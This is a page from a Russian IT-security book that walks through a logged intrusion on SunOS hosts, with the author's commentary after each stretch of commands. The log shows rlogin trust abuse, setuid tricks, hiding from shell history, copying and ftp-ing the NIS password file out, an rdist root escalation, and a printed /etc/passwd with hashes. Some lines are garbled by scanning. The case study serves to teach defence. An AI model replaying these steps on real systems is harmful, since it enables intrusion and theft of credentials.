IT-безопасность: стоит ли рисковать корпорацией? - [77]

Шрифт
Интервал

Строки с № 114 по № 119

Став jeff хакер сделал правильный выбор. Он вошел в новую систему (tsunami), даже не пользуясь паролем. (Это отличный пример того, как опасно устанавливать доверительные отношения между системами.)

96 # find. -name.rhosts — print &

97 # gupr

98 # grep" C

99 # ypcat passwd | grep jeff

100 jeff: wW/q0t03L6xO.:13147:50:Jeff:/home/jeff:/bin/csh

101 # ed c.c

102 ?c,c: No such file or directory

103 #cd

104 # edc.c

105 /uid/

106 setuid(21477);

107 setuid(13147);

108 #ссс. с

109 # mv a.out shit

110 #chmod 6777 shit

111 #./shit

112 $ id

113 uid=13147(jeff) gid=0(wheel) groups=7

114 $ rlogj tsunami

115 rlogj: not found

116 $ rlogin tsunami

117 No directory! Logging in with home=/

118 SunOS Release 4.1.2 (TSUNAMI) #3: Sat Oct 24 07:56:45 PDT 1992

119 You have new mail.

Строки с № 120 по № 126

Хакер (который сейчас является пользователем jeff), запускает командную оболочку sh, чтобы не оставлять след в журналах. history оболочки csh. (Хакер тщательно следит за тем, чтобы не оставить свидетельств применения своих команд.) Затем он проверяет, нет ли кого еще в системе.

Строки с № 127 по № 136

Хакер пытается скопировать файл паролей и получает отказ в разрешении, так как у него нет разрешения копировать в этот каталог. Он проводит проверку с целью установить, под каким именем он зарегистрировался (должно быть, он уже его забыл). Он видит, что зарегистрировался как Jeff. Так как Jeff не имеет разрешения копировать файлы в этот каталог, то хакер меняет каталог на /tmp, в который любому пользователю разрешено производить копирование.

Строки с № 137 по № 141

Здесь он немного расправляет крылья и ищет таблицу паролей, чтобы ее скопировать и использовать. (Он копирует файл паролей NIS в файл, названный "ааа".) Хакеры часто копируют файлы паролей, чтобы подвергнуть их действию программ-взломщиков и получить больше паролей. Чем больше паролей есть у хакера, тем лучше он преуспеет в набегах на другие системы.

120 tsunami%AC

121 tsunami%sh

122 $ who

123 wendy ttyp2 Jan 6 13:55 (arawana)

124 derek ttyp3 Jan 13 17:57 (lajolla)

125 derekttyp4Jan 15 13:11 (lajolla)

126 jeff ttyp5 Jan 18 23:09 (valley)

127 $cat/etc/passwdAC

128 $ypcaty" C

129 $ ypcat passwd > suna

130 suna: Permission denied

131 Sid

132 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)

133 $pwd

134 $cd

135 $pwd

136 $cd/tmp

137 $ ypcat passwd >aaa

138 $ Is — tal aa

139 aa not found

140 $ is — tal aaa

141 — rw-r — r— 1 jeff 15382 Jan 18 23:09 aaa

Строки с № 142 по № 162

Теперь он открывает сессию ftp обратно к первоначальному хосту (valley) как пользователь ingres. В этой сессии он копирует файл паролей в систему valley. В той же самой сессии он копирует свои инструменты по работе с защитой из valley в tsunami.

Строки с № 163 по № 173

Снова он воссоздает свою небольшую С-программу (опущенную по соображениям безопасности) для того, чтобы воспользоваться программной ошибкой, открывающей защиту, и получить права доступа суперпользователя (root). Теперь он имеет полный контроль (доступ root) над системой tsunami.

142$ ftp valley

143 Connected to valley

144 220 valley FTP server (SunOS 4.1) ready.

145 Name (valley: jeff): ingres

146 331 Password required for ingres.

147 Password:

148 230 User ingres logged in.

149 ftp> send aaa

150 200 PORT command successful.

151 150 ASCII data connection for aaa

152 226 ASCII Transfer complete.

153 local: aaa remote: aaa

154 15578 bytes sent in 0.063 seconds (2.4e+02 Kbytes/s)

155 ftp> get foo

156 200 PORT command successful.

157 150 ASCII data connection for foo

158 226 ASCII Transfer complete.

159 local: foo remote: foo

160 1155 bytes received in 0.11 seconds (9.9 Kbytes/s)

161 ftp> quit

162 221 Goodbye.

163 $ cat too | /usr/ucb/rdist — Server localhost

164$/tmp/sh

165#rmfoo

166#rm/tmp/sh

167 rm: override protection 755 for /tmp/sh? у

168#edc.c

169#ccc.c

170 #chmod 6777 a.out

171 #./a.out

172 # id

173 uid=0(root) gid=0(wheel) groups=50(iastaff)

Строки с № 174 по № 182

Хакер ищет, есть ли в файле /etc/passwd какие-нибудь записи password.old или другие изменения. Он также пытается изменить пароль Jeff в NIS, но безуспешно.

Строки с № 183 по № 197

На этот раз он выводит список содержимого файла /etc/passwd.

174 # Is — ta! /etc/*ass*

175 — rw-r-r-1 root 634 Dec 7 12:31 /etc/passwd

176#cat/etc/}4U

177passwd

178 cat: /etc/}4: No such file or directory

179 Changing NIS password for jeff on suntzu.

180 Old password:

181 New password:

182 Password unchanged.

183 # cat/etc/passwd

184 root:R7QCfnYR4gvzU:0:1:Operator:/:/bin/csh

185nobody:*:65534:65534::/:

186daemon:*;1:1::/:

187sys:*:2:2::/:/bin/csh

188bin:*:3:3::/bin:

189 uucp:*:4:8::/var/spool/uucppublic:

190 news:*:6:6::/var/spool/news:/bin/csh

191 ingres:*:7:7::/usr/ingres:/bin/csh

192 audit:*:9:9::/etc/security/audit:/bin/csh

193 sync::1:1::/:/bin/sync

194 sysdiag:*:0;1:Old System Diag:/usr/diag/sysdiag:/usr/diag/ sysdiag/sysdiag

sundiag:*:0:1:System Diag:/usr/diag/su ndiag:/usr/diag/

sundiag/ sundiag

195 operator: INtDk7crldKh2:5:5 — Account forbackups;/usr/ backup: /bin/csh

196 lc:u0gFO1zE9Yx9U:27:50:LC Calendar:/var/lc:/bin/csh

197+::0;0:::

Строки с № 198 по № 209

Хакер меняет ID пользователя с суперпользователя обратно на jeff. Затем он повторно проверяет свой ID пользователя и начинает менять имя своего a.out на такое, которое он не забудет (как он уже прежде делал). Снова он запускает команду ls -1 для получения списка с новейшими файлами в начале его.